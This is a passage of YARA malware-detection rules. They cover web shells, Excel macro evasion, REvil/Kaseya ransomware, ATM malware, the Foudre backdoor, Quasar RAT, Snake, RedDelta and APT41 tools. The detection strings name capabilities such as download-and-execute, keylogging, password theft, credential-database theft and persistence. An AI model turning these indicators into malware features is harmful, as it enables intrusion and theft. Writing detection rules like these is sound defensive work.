		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Nils Kuhnert (modified by Florian Roth)"
		hash = "29c187ad46d3059dc25d5f0958e0e8789fb2a51b9daaf90ea27f001b1a9a603c"
		date = "2022-10-27"
		score = 60
		id = "c7d459be-5e61-57b7-b738-051c0cec62d2"

	strings:
		$gen1 = "void Page_Load" ascii
		$gen2 = "FromBase64String" ascii
		$gen3 = "CryptoServiceProvider" ascii
		$gen4 = "ComputeHash" ascii
		$hashing1 = "BitConverter.ToString(" ascii
		$hashing2 = ").Replace(\"-\", \"\") == \"" ascii
		$filter1 = "BitConverter.ToString((" ascii

	condition:
		filesize < 10KB and all of ( $gen* ) and all of ( $hashing* ) and not 1 of ( $filter* )
}

rule gen_excel_auto_open_evasion
{
	meta:
		description = "Detects an obfuscated Auto_Open cell names in Excel files"
		license = "https://creativecommons.org/licenses/by-nc/4.0/"
		author = "@JohnLaTwC"
		date = "2020-09-24"
		reference = "https://malware.pizza/2020/05/12/evading-av-with-excel-macros-and-biff8-xls/"
		hash = "e23f9f55e10f3f31a2e76a12b174b6741a2fa1f51cf23dbd69cf169d92c56ed5"
		hash1 = "bb3c9739de8ffe2e0f375847d41a010463ec19f1d3f578ac053651a51ed69bbc"
		hash2 = "56ff65b7f6bf5936883f52b50ca66e768b2088158cc77af681ffab7122be7753"
		hash3 = "97243214ac3cad74d60b0648e39d6a9600860edba51c670b5226e058ba658957"
		hash4 = "9ebf085c05ae94c1b6c4e011001a6c11de3ca754a56ed380314ef501b777e593"
		hash5 = "b5a8bbf3c7d49bd208d8302f6867b5f6d3d7c09830b575967801893498cc92d9"
		score = 70
		id = "e33b8d1d-4978-5747-8b5b-730e6c57dbf0"

	strings:
		$auto_open = { 00 00 00 00 01 [0-2] (61 | 41) [0-5](75 | 55) [0-5](74 | 54) [0-5](6f | 4f) [0-5](5f | 5f) [0-5](6f | 4f) [0-5](70 | 50) [0-5](65 | 45) [0-5](6e | 4e)}
		$plain_auto_open = "auto_open" nocase wide ascii

	condition:
		filesize < 1MB and uint32be( 0 ) == 0xD0CF11E0 and $auto_open and #plain_auto_open == 0
}

rule URL_File_Local_EXE
{
	meta:
		description = "Detects an .url file that points to a local executable"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/malwareforme/status/915300883012870144"
		date = "2017-10-04"
		score = 60
		id = "8b157e98-7b69-5649-b1d8-40bd6b685bf6"

	strings:
		$s1 = "[InternetShortcut]" ascii wide fullword
		$s2 = /URL=file:\/\/\/C:\\[^\n]{1,50}\.exe/

	condition:
		filesize < 400 and all of them
}

import "pe"

rule APT_MAL_REvil_Kaseya_Jul21_1
{
	meta:
		description = "Detects malware used in the Kaseya supply chain attack"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://doublepulsar.com/kaseya-supply-chain-attack-delivers-mass-ransomware-event-to-us-companies-76e4ec6ec64b"
		date = "2021-07-02"
		hash1 = "1fe9b489c25bb23b04d9996e8107671edee69bd6f6def2fe7ece38a0fb35f98e"
		hash2 = "aae6e388e774180bc3eb96dad5d5bfefd63d0eb7124d68b6991701936801f1c7"
		hash3 = "dc6b0e8c1e9c113f0364e1c8370060dee3fcbe25b667ddeca7623a95cd21411f"
		hash4 = "df2d6ef0450660aaae62c429610b964949812df2da1c57646fc29aa51c3f031e"
		id = "7356f4ea-183f-52ec-a167-fc16b8bfb55a"

	strings:
		$s1 = "Mpsvc.dll" wide fullword
		$s2 = ":0:4:8:<:@:D:H:L:P:T:X:\\:`:d:h:l:p:t:x:H<L<P<\\<`<" ascii fullword
		$op1 = { 40 87 01 c3 6a 08 68 f8 0e 41 00 e8 ae db ff ff be 80 25 41 00 39 35 ?? 32 41 00 }
		$op2 = { 8b 40 04 2b c2 c1 f8 02 3b c8 0f 84 56 ff ff ff 68 15 50 40 00 2b c1 6a 04 }
		$op3 = { 74 73 db e2 e8 ad 07 00 00 68 60 1a 40 00 e8 8f 04 00 00 e8 3a 05 00 00 50 e8 25 26 00 00 }
		$op4 = { 75 05 8b 45 fc eb 4c c7 45 f8 00 00 00 00 6a 00 8d 45 f0 50 8b 4d 0c }
		$op5 = { 83 7d 0c 00 75 05 8b 45 fc eb 76 6a 00 68 80 00 00 00 6a 01 6a 00 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 3000KB and ( pe.imphash ( ) == "c36dcd2277c4a707a1a645d0f727542a" or 2 of them )
}

rule APT_MAL_REvil_Kaseya_Jul21_2
{
	meta:
		description = "Detects malware used in the Kaseya supply chain attack"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://doublepulsar.com/kaseya-supply-chain-attack-delivers-mass-ransomware-event-to-us-companies-76e4ec6ec64b"
		date = "2021-07-02"
		hash1 = "0496ca57e387b10dfdac809de8a4e039f68e8d66535d5d19ec76d39f7d0a4402"
		hash2 = "8dd620d9aeb35960bb766458c8890ede987c33d239cf730f93fe49d90ae759dd"
		hash3 = "cc0cdc6a3d843e22c98170713abf1d6ae06e8b5e34ed06ac3159adafe85e3bd6"
		hash4 = "d5ce6f36a06b0dc8ce8e7e2c9a53e66094c2adfc93cfac61dd09efe9ac45a75f"
		hash5 = "d8353cfc5e696d3ae402c7c70565c1e7f31e49bcf74a6e12e5ab044f306b4b20"
		hash6 = "e2a24ab94f865caeacdf2c3ad015f31f23008ac6db8312c2cbfb32e4a5466ea2"
		id = "38b168d4-e761-544e-9859-eb155bbfe54a"

	strings:
		$opa1 = { 8b 4d fc 83 c1 01 89 4d fc 81 7d f0 ff 00 00 00 77 1? ba 01 00 00 00 6b c2 00 8b 4d 08 }
		$opa2 = { 89 45 f0 8b 4d fc 83 c1 01 89 4d fc 81 7d f0 ff 00 00 00 77 1? ba 01 00 00 00 6b c2 00 }
		$opa3 = { 83 c1 01 89 4d fc 81 7d f0 ff 00 00 00 77 1? ba 01 00 00 00 6b c2 00 8b 4d 08 0f b6 14 01 }
		$opa4 = { 89 45 f4 8b 0d ?? ?0 07 10 89 4d f8 8b 15 ?? ?1 07 10 89 55 fc ff 75 fc ff 75 f8 ff 55 f4 }
		$opb1 = { 18 00 10 bd 18 00 10 bd 18 00 10 0e 19 00 10 cc cc cc }
		$opb2 = { 18 00 10 0e 19 00 10 cc cc cc cc 8b 44 24 04 }
		$opb3 = { 10 c4 18 00 10 bd 18 00 10 bd 18 00 10 0e 19 00 10 cc cc }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 3000KB and ( 2 of ( $opa* ) or 3 of them )
}

rule SUSP_Microsoft_7z_SFX_Combo
{
	meta:
		description = "Detects a suspicious file that has a Microsoft copyright and is a 7z SFX"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2018-09-16"
		hash1 = "cce63f209ee4efb4f0419fb4bbb32326392b5ef85cfba80b5b42b861637f1ff1"
		id = "9163a689-c3ee-59b1-bf58-aef5d3072be6"

	strings:
		$s1 = "7ZSfx%03x.cmd" fullword wide
		$s2 = "7z SFX: error" fullword ascii
		$c1 = { 00 4C 00 65 00 67 00 61 00 6C 00 43 00 6F 00 70
              00 79 00 72 00 69 00 67 00 68 00 74 00 00 00 A9
              00 20 00 4D 00 69 00 63 00 72 00 6F 00 73 00 6F
              00 66 00 74 00 20 00 43 00 6F 00 72 00 70 00 6F
              00 72 00 61 00 74 00 69 00 6F 00 6E 00 2E 00 20
              00 41 00 6C 00 6C 00 20 00 72 00 69 00 67 00 68
              00 74 00 73 00 20 00 72 00 65 00 73 00 65 00 72
              00 76 00 65 00 64 00 2E }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 3000KB and 1 of ( $s* ) and $c1
}

rule SUSP_Microsoft_RAR_SFX_Combo
{
	meta:
		description = "Detects a suspicious file that has a Microsoft copyright and is a RAR SFX"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2018-09-16"
		id = "0fa81a9e-2f41-5783-9786-bb6d33b82bd9"

	strings:
		$s1 = "winrarsfxmappingfile.tmp" fullword wide
		$s2 = "WinRAR self-extracting archive" fullword wide
		$s3 = "WINRAR.SFX" fullword
		$c1 = { 00 4C 00 65 00 67 00 61 00 6C 00 43 00 6F 00 70
              00 79 00 72 00 69 00 67 00 68 00 74 00 00 00 A9
              00 20 00 4D 00 69 00 63 00 72 00 6F 00 73 00 6F
              00 66 00 74 00 20 00 43 00 6F 00 72 00 70 00 6F
              00 72 00 61 00 74 00 69 00 6F 00 6E 00 2E 00 20
              00 41 00 6C 00 6C 00 20 00 72 00 69 00 67 00 68
              00 74 00 73 00 20 00 72 00 65 00 73 00 65 00 72
              00 76 00 65 00 64 00 2E }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 3000KB and 1 of ( $s* ) and $c1
}

rule ATM_Malware_XFSADM
{
	meta:
		description = "Detects ATM Malware XFSADM"
		author = "Frank Boldewin (@r3c0nst), modified by Florian Roth"
		reference = "https://twitter.com/r3c0nst/status/1149043362244308992"
		date = "2019-06-21"
		hash1 = "2740bd2b7aa0eaa8de2135dd710eb669d4c4c91d29eefbf54f1b81165ad2da4d"
		id = "7bd7e194-1cf1-5d12-809b-25aaf7f62ca3"

	strings:
		$Code1 = {68 88 13 00 00 FF 35 ?? ?? ?? ?? 68 CF 00 00 00 50 FF 15}
		$Code2 = {68 98 01 00 00 50 FF 15}
		$Mutex = "myXFSADM" wide
		$MSXFSDIR = "C:\\Windows\\System32\\msxfs.dll" ascii
		$XFSCommand1 = "WfsExecute" ascii
		$XFSCommand2 = "WfsGetInfo" ascii
		$PDB = "C:\\Work64\\ADM\\XFS\\Release\\XFS.pdb" ascii
		$WindowName = "XFS ADM" wide
		$FindWindow = "ADM rec" wide
		$LogFile = "xfs.log" ascii
		$TmpFile = "~pipe.tmp" ascii

	condition:
		uint16( 0 ) == 0x5A4D and filesize < 500KB and ( 4 of them or $PDB )
}

rule Foudre_Backdoor_1
{
	meta:
		description = "Detects Foudre Backdoor"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/Nbqbt6"
		date = "2017-08-01"
		hash1 = "7e73a727dc8f3c48e58468c3fd0a193a027d085f25fa274a6e187cf503f01f74"
		hash2 = "7ce2c5111e3560aa6036f98b48ceafe83aa1ac3d3b33392835316c859970f8bc"
		id = "ab2d43f4-fc35-5980-9b5d-98c5c4cfd012"

	strings:
		$s1 = "initialization failed: Reinstall the program" fullword wide
		$s2 = "SnailDriver V1" fullword wide
		$s3 = "lp.ini" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 100KB and 2 of them )
}

rule Foudre_Backdoor_Dropper_1
{
	meta:
		description = "Detects Foudre Backdoor"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/Nbqbt6"
		date = "2017-08-01"
		modified = "2023-01-07"
		hash1 = "6bc9f6ac2f6688ed63baa29913eaf8c64738cf19933d974d25a0c26b7d01b9ac"
		hash2 = "da228831089c56743d1fbc8ef156c672017cdf46a322d847a270b9907def53a5"
		id = "38c7d05b-d545-53c5-8db7-a7925b5b7838"

	strings:
		$x1 = "536F594A96C5496CB3949A4DA4775B576E049C57696E646F77735C43757272656E7456657273696F6E5C5C52756E" fullword wide
		$x2 = "2220263024C380B3278695851482EC32" fullword wide
		$s1 = "C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\\\Startup\\" wide
		$s2 = "C:\\Documents and Settings\\All Users\\" wide
		$s3 = "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\\\Shell Folders" wide
		$s4 = "ShellExecuteW" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 100KB and ( 1 of ( $x* ) or 4 of them ) )
}

import "pe"

rule Foudre_Backdoor_Component_1
{
	meta:
		description = "Detects Foudre Backdoor"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/Nbqbt6"
		date = "2017-08-01"
		modified = "2023-01-07"
		hash1 = "7c6206eaf0c5c9c6c8d8586a626b49575942572c51458575e51cba72ba2096a4"
		hash2 = "db605d501d3a5ca2b0e3d8296d552fbbf048ee831be21efca407c45bf794b109"
		id = "9070f581-64a7-5620-aff4-7f2cbd73099d"

	strings:
		$s1 = { 50 72 6F 6A 65 63 74 31 2E 64 6C 6C 00 44 31 }
		$s2 = "winmgmts:\\\\localhost\\root\\SecurityCenter2" fullword wide
		$s3 = "C:\\Documents and Settings\\All Users\\" wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 2000KB and ( 3 of them ) or ( 2 of them and pe.exports ( "D1" ) ) )
}

rule Foudre_Backdoor_SFX
{
	meta:
		description = "Detects Foudre Backdoor SFX"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/Nbqbt6"
		date = "2017-08-01"
		hash1 = "2b37ce9e31625d8b9e51b88418d4bf38ed28c77d98ca59a09daab01be36d405a"
		hash2 = "4d51a0ea4ecc62456295873ff135e4d94d5899c4de749621bafcedbf4417c472"
		id = "b5c7cd6b-48c8-5703-b695-19d226de1810"

	strings:
		$s1 = "main.exe" fullword ascii
		$s2 = "pub.key" fullword ascii
		$s3 = "WinRAR self-extracting archive" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 2000KB and all of them )
}

rule BluenoroffPoS_DLL
{
	meta:
		description = "Bluenoroff POS malware - hkp.dll"
		author = "http://blog.trex.re.kr/"
		reference = "http://blog.trex.re.kr/3?category=737685"
		date = "2018-06-07"
		id = "d2b34b50-c7eb-5852-ba5d-734dd5038c2e"

	strings:
		$dll = "ksnetadsl.dll" ascii wide fullword nocase
		$exe = "xplatform.exe" ascii wide fullword nocase
		$agent = "Nimo Software HTTP Retriever 1.0" ascii wide nocase
		$log_file = "c:\\windows\\temp\\log.tmp" ascii wide nocase
		$base_addr = "%d-BaseAddr:0x%x" ascii wide nocase
		$func_addr = "%d-FuncAddr:0x%x" ascii wide nocase
		$HF_S = "HF-S(%d)" ascii wide
		$HF_T = "HF-T(%d)" ascii wide

	condition:
		5 of them
}

rule SUSP_RAR_NtdsDIT
{
	meta:
		description = "Detects suspicious RAR file that contains ntds.dit or SAM export"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers"
		date = "2019-12-16"
		modified = "2022-11-15"
		score = 70
		id = "da9e160f-3213-5027-bb0f-bf80ab3d5318"

	strings:
		$x1 = "ntds.dit0" ascii fullword
		$x2 = { 0? 53 41 4D 30 01 00 03 }
		$x3 = { 0? 73 61 6D 30 01 00 03 }

	condition:
		uint32( 0 ) == 0x21726152 and 1 of them
}

rule APT_MAL_RU_WIN_Snake_Malware_May23_1
{
	meta:
		author = "Matt Suiche (Magnet Forensics)"
		description = "Hunting Russian Intelligence Snake Malware"
		date = "2023-05-10"
		threat_name = "Windows.Malware.Snake"
		reference = "https://media.defense.gov/2023/May/09/2003218554/-1/-1/0/JOINT_CSA_HUNTING_RU_INTEL_SNAKE_MALWARE_20230509.PDF"
		score = 75
		scan_context = "memory"
		license = "MIT"
		id = "53d2de3c-350c-5090-84bb-b6cde16a80ad"

	strings:
		$a = { 25 73 23 31 }
		$b = { 25 73 23 32 }
		$c = { 25 73 23 33 }
		$d = { 25 73 23 34 }
		$e = { 2e 74 6d 70 }
		$g = { 2e 73 61 76 }
		$h = { 2e 75 70 64 }

	condition:
		all of them
}

rule APT_MAL_RU_Snake_Indicators_May23_1
{
	meta:
		description = "Detects indicators found in Snake malware samples"
		author = "Florian Roth"
		reference = "https://media.defense.gov/2023/May/09/2003218554/-1/-1/0/JOINT_CSA_HUNTING_RU_INTEL_SNAKE_MALWARE_20230509.PDF"
		date = "2023-05-10"
		score = 85
		hash1 = "10b854d66240d9ee1ce4296d2f7857d2b1c6f062ca836d13d777930d678b3ca6"
		hash2 = "15ac5a61fb3e751045de2d7f5ff26c673f3883e326cd1b3a63889984a4fb2a8f"
		hash3 = "315ec991709eb45eccf724dfe31bccb7affcac7f8e8007e688ba8d02827205e0"
		hash4 = "417eb4fb9ada270af35562ff317807ac5ca9ee26181fe89990858f0944d3a6a7"
		hash5 = "48112970de6ea0f925f0657b30adcd0723df94afc98cfafdc991d70ad3602119"
		hash6 = "55ea557bcf4c143f20c616abe9075f7faafbf825aeef9ddb4f2b201acc44414b"
		hash7 = "6568bbeeb417e1111bf284e73152d90fe17e5497da7630ccddcbc666730dccef"
		hash8 = "81d620cb645006ffc9ac1b9d98a53aa286ae92b025bda075962079633f020482"
		hash9 = "888a3029b1b8b664eb1fc77dd511c4088a1e28ae5535a8683642bb3dca011d00"
		hash10 = "9027b4fef50b36289d630059425dc1137c88328329c3ea9dbc348dccd001adc0"
		hash11 = "9ac199572cab67433726976a0e9ba39d6feed1d567d6d230ebe3133df8dcb7fa"
		hash12 = "a64e5d872421991226ee040b4cd49a89ca681bdef4c10c4798b6c7b5c832c6df"
		hash13 = "b5d2da5eb57b5ab26edb927469552629f3cf43bbce2b1a128f6daac7cf57f6f7"
		hash14 = "bc15de1d1c6c62c0bf856e0368adabc4941e7b687a969912494c173233e6d28d"
		hash15 = "bdf94311313c39a3413464f623bd75a3db2eb05cc01090acd6dcd462a605eb4a"
		hash16 = "e4311892ae00bf8148a94fa900fc8e2c279a2acd3b4b4b4c3d0c99dd1d32353c"
		hash17 = "ed74288b367a93c6b47343bc696e751b9c465761ce9c4208901726baa758b234"
		hash18 = "ef1f1c7692b92a730f76b6227643b2d02a6e353af6e930166e3b48e3903e4ffd"
		hash19 = "f5e982b76af7f447742753f0b57eec3d7dd2e3c8e5506c35d4cf6c860b829f45"
		id = "0d4fa8a7-447c-5905-bab9-b63de6209036"

	strings:
		$s1 = "\\\\.\\%s\\\\" ascii fullword
		$s2 = "read_peer_nfo" ascii fullword
		$s3 = "rcv_buf=%d%c" ascii fullword
		$s4 = "%s: (0x%08x)" ascii fullword
		$s5 = "no_impersonate" ascii fullword

	condition:
		all of them
}

rule APT_CN_MAL_RedDelta_Shellcode_Loader_Oct20_1
{
	meta:
		description = "Detects Red Delta samples"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/JAMESWT_MHT/status/1316387482708119556"
		date = "2020-10-14"
		hash1 = "30b2bbce0ca4cb066721c94a64e2c37b7825dd72fc19c20eb0ab156bea0f8efc"
		hash2 = "42ed73b1d5cc49e09136ec05befabe0860002c97eb94e9bad145e4ea5b8be2e2"
		hash3 = "480a8c883006232361c5812af85de9799b1182f1b52145ccfced4fa21b6daafa"
		hash4 = "7ea7c6406c5a80d3c15511c4d97ec1e45813e9c58431f386710d0486c4898b98"
		id = "47417488-e843-5346-9baa-fcce30b884d1"

	strings:
		$x1 = "InjectShellCode" ascii fullword
		$s1 = "DotNetLoader.exe" wide ascii fullword
		$s2 = "clipboardinject" ascii fullword
		$s3 = "download.php?raw=1" wide
		$s4 = "Windows NT\\CurrentVersion\\AppCompatFlags\\TelemetryController\\Levint" wide
		$s5 = "FlashUpdate.exe" wide
		$s6 = "raw_cc_url" ascii fullword
		$op1 = { 48 8b 4c 24 78 48 89 01 e9 1a ff ff ff 48 8b 44 }
		$op2 = { ff ff 00 00 77 2a 8b 44 24 38 8b 8c 24 98 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and $x1 or 3 of them
}

rule APT_CN_MAL_RedDelta_Shellcode_Loader_Oct20_2
{
	meta:
		description = "Detects Red Delta samples"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/JAMESWT_MHT/status/1316387482708119556"
		date = "2020-10-14"
		hash1 = "260ebbf392498d00d767a5c5ba695e1a124057c1c01fff2ae76db7853fe4255b"
		hash2 = "9ccb4ed133be5c9c554027347ad8b722f0b4c3f14bfd947edfe75a015bf085e5"
		hash3 = "b3fd750484fca838813e814db7d6491fea36abe889787fb7cf3fb29d9d9f5429"
		id = "acb1024a-64af-51ac-84c8-7fe9a5bd4538"

	strings:
		$x1 = "\\CLRLoader.exe" wide fullword
		$x2 = "/callback.php?token=%s&computername=%s&username=%s" ascii fullword
		$s1 = "DotNetLoader.Program" wide fullword
		$s2 = "/download.php?api=40" ascii fullword
		$s3 = "get %d URLDir" ascii fullword
		$s4 = "Read code failed" ascii fullword
		$s5 = "OpenFile fail!" wide fullword
		$s6 = "Writefile success" wide fullword
		$op1 = { 4c 8d 45 e0 49 8b cc 41 8d 51 c3 e8 34 77 02 00 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 3000KB and 1 of ( $x* ) or 4 of them
}

rule APT_CN_MAL_RedDelta_Shellcode_Loader_Oct20_3
{
	meta:
		description = "Detects Red Delta samples"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/JAMESWT_MHT/status/1316387482708119556"
		date = "2020-10-14"
		modified = "2022-12-21"
		hash1 = "740992d40b84b10aa9640214a4a490e989ea7b869cea27dbbdef544bb33b1048"
		id = "b52836bb-cdef-5416-a8e1-72d0b2298546"

	strings:
		$s1 = "Taskschd.dll" ascii fullword
		$s2 = "AddTaskPlanDllVerson.dll" ascii fullword
		$s3 = "\\FlashUpdate.exe" ascii
		$s4 = "D:\\Project\\FBIRedTeam" ascii fullword
		$s5 = "Error %s:%d, ErrorCode: %x" ascii fullword

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 400KB and 4 of them
}

rule Quasar_RAT_1
{
	meta:
		description = "Detects Quasar RAT"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf"
		date = "2017-04-07"
		hash1 = "0774d25e33ca2b1e2ee2fafe3fdbebecefbf1d4dd99e6460f0bc8713dd0fd740"
		hash2 = "1ce40a89ef9d56fd32c00db729beecc17d54f4f7c27ff22f708a957cd3f9a4ec"
		hash3 = "515c1a68995557035af11d818192f7866ef6a2018aa13112fefbe08395732e89"
		hash4 = "f08db220df716de3d4f63f3007a03f902601b9b32099d6a882da87312f263f34"
		id = "36220de3-aa1a-5c34-adae-432d939c811e"

	strings:
		$s1 = "DoUploadAndExecute" fullword ascii
		$s2 = "DoDownloadAndExecute" fullword ascii
		$s3 = "DoShellExecute" fullword ascii
		$s4 = "set_Processname" fullword ascii
		$op1 = { 04 1e fe 02 04 16 fe 01 60 }
		$op2 = { 00 17 03 1f 20 17 19 15 28 }
		$op3 = { 00 04 03 69 91 1b 40 }

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 5000KB and all of ( $s* ) or all of ( $op* ) )
}

rule Quasar_RAT_2
{
	meta:
		description = "Detects Quasar RAT"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf"
		date = "2017-04-07"
		super_rule = 1
		hash1 = "0774d25e33ca2b1e2ee2fafe3fdbebecefbf1d4dd99e6460f0bc8713dd0fd740"
		hash2 = "515c1a68995557035af11d818192f7866ef6a2018aa13112fefbe08395732e89"
		hash3 = "f08db220df716de3d4f63f3007a03f902601b9b32099d6a882da87312f263f34"
		id = "0ca795c5-3631-5a99-8675-37558485f478"

	strings:
		$x1 = "GetKeyloggerLogsResponse" fullword ascii
		$x2 = "get_Keylogger" fullword ascii
		$x3 = "HandleGetKeyloggerLogsResponse" fullword ascii
		$s1 = "DoShellExecuteResponse" fullword ascii
		$s2 = "GetPasswordsResponse" fullword ascii
		$s3 = "GetStartupItemsResponse" fullword ascii
		$s4 = "<GetGenReader>b__7" fullword ascii
		$s5 = "RunHidden" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 5000KB and $x1 ) or ( all of them )
}

rule MAL_QuasarRAT_May19_1
{
	meta:
		description = "Detects QuasarRAT malware"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://blog.ensilo.com/uncovering-new-activity-by-apt10"
		date = "2019-05-27"
		modified = "2023-01-06"
		hash1 = "0644e561225ab696a97ba9a77583dcaab4c26ef0379078c65f9ade684406eded"
		id = "a4e82b6a-31f8-59fc-acfa-805c4594680a"

	strings:
		$x1 = "Quasar.Common.Messages" ascii fullword
		$x2 = "Client.MimikatzTools" ascii fullword
		$x3 = "Resources.powerkatz_x86.dll" ascii fullword
		$x4 = "Uninstalling... good bye :-(" wide
		$xc1 = { 41 00 64 00 6D 00 69 00 6E 00 00 11 73 00 63 00
               68 00 74 00 61 00 73 00 6B 00 73 00 00 1B 2F 00
               63 00 72 00 65 00 61 00 74 00 65 00 20 00 2F 00
               74 00 6E 00 20 00 22 00 00 27 22 00 20 00 2F 00
               73 }
		$xc2 = { 00 70 00 69 00 6E 00 67 00 20 00 2D 00 6E 00 20
               00 31 00 30 00 20 00 6C 00 6F 00 63 00 61 00 6C
               00 68 00 6F 00 73 00 74 00 20 00 3E 00 20 00 6E
               00 75 00 6C 00 0D 00 0A 00 64 00 65 00 6C 00 20
               00 2F 00 61 00 20 00 2F 00 71 00 20 00 2F 00 66
               00 20 00 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 10000KB and 1 of them
}

rule APT_APT41_POISONPLUG_3
{
	meta:
		description = "Detects APT41 malware POISONPLUG"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.fireeye.com/blog/threat-research/2019/08/apt41-dual-espionage-and-cyber-crime-operation.html"
		date = "2019-08-07"
		score = 80
		hash1 = "70c03ce5c80aca2d35a5555b0532eedede24d4cc6bdb32a2c8f7e630bba5f26e"
		id = "e150dd69-c611-53de-9c7d-de28d3a208dc"

	strings:
		$s1 = "Rundll32.exe \"%s\", DisPlay 64" fullword ascii
		$s2 = "tcpview.exe" fullword ascii
		$s3 = "nuR\\noisreVtnerruC\\swodniW\\tfosorciM\\erawtfoS" fullword ascii
		$s4 = "AxEeulaVteSgeR" fullword ascii
		$s5 = "%04d-%02d-%02d_%02d-%02d-%02d.dmp" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 900KB and 3 of them
}

import "pe"

rule APT_APT41_POISONPLUG_SHADOW
{
	meta:
		description = "Detects APT41 malware POISONPLUG SHADOW"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.fireeye.com/blog/threat-research/2019/08/apt41-dual-espionage-and-cyber-crime-operation.html"
		date = "2019-08-07"
		score = 85
		hash1 = "462a02a8094e833fd456baf0a6d4e18bb7dab1a9f74d5f163a8334921a4ffde8"
		id = "e150dd69-c611-53de-9c7d-de28d3a208dc"

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 500KB and pe.imphash ( ) == "c67de089f2009b21715744762fc484e8"
}

rule APT_APT41_CRACKSHOT
{
	meta:
		description = "Detects APT41 malware CRACKSHOT"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.fireeye.com/blog/threat-research/2019/08/apt41-dual-espionage-and-cyber-crime-operation.html"
		date = "2019-08-07"
		score = 85
		hash1 = "993d14d00b1463519fea78ca65d8529663f487cd76b67b3fd35440bcdf7a8e31"
		id = "4ec34a77-dc7f-5f27-9f0a-c98438389018"

	strings:
		$x1 = ";procmon64.exe;netmon.exe;tcpview.exe;MiniSniffer.exe;smsniff.exe" ascii
		$s1 = "RunUrlBinInMem" fullword ascii
		$s2 = "DownRunUrlFile" fullword ascii
		$s3 = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36" fullword ascii
		$s4 = "%s|%s|%s|%s|%s|%s|%s|%dx%d|%04x|%08X|%s|%s" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 250KB and ( 1 of ( $x* ) or 2 of them )
}

rule APT_APT41_POISONPLUG_2
{
	meta:
		description = "Detects APT41 malware POISONPLUG"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.fireeye.com/blog/threat-research/2019/08/apt41-dual-espionage-and-cyber-crime-operation.html"
		date = "2019-08-07"
		score = 70
		hash1 = "0055dfaccc952c99b1171ce431a02abfce5c6f8fb5dc39e4019b624a7d03bfcb"
		id = "e150dd69-c611-53de-9c7d-de28d3a208dc"

	strings:
		$s1 = "ma_lockdown_service.dll" fullword wide
		$s2 = "acbde.dll" fullword ascii
		$s3 = "MA lockdown Service" fullword wide
		$s4 = "McAfee Agent" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 11000KB and all of them
}

import "pe"

rule APT_APT41_POISONPLUG
{
	meta:
		description = "Detects APT41 malware POISONPLUG"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.fireeye.com/blog/threat-research/2019/08/apt41-dual-espionage-and-cyber-crime-operation.html"
		date = "2019-08-07"
		score = 80
		hash1 = "2eea29d83f485897e2bac9501ef000cc266ffe10019d8c529555a3435ac4aabd"
		hash2 = "5d971ed3947597fbb7e51d806647b37d64d9fe915b35c7c9eaf79a37b82dab90"
		hash3 = "f4d57acde4bc546a10cd199c70cdad09f576fdfe66a36b08a00c19ff6ae19661"
		hash4 = "3e6c4e97cc09d0432fbbbf3f3e424d4aa967d3073b6002305cd6573c47f0341f"
		id = "e150dd69-c611-53de-9c7d-de28d3a208dc"

	strings:
		$s1 = "TSMSISrv.DLL" fullword wide
		$s2 = "[-]write failed[%d]" fullword ascii
		$s3 = "[-]load failed" fullword ascii
		$s4 = "Remote Desktop Services" fullword wide

	condition:
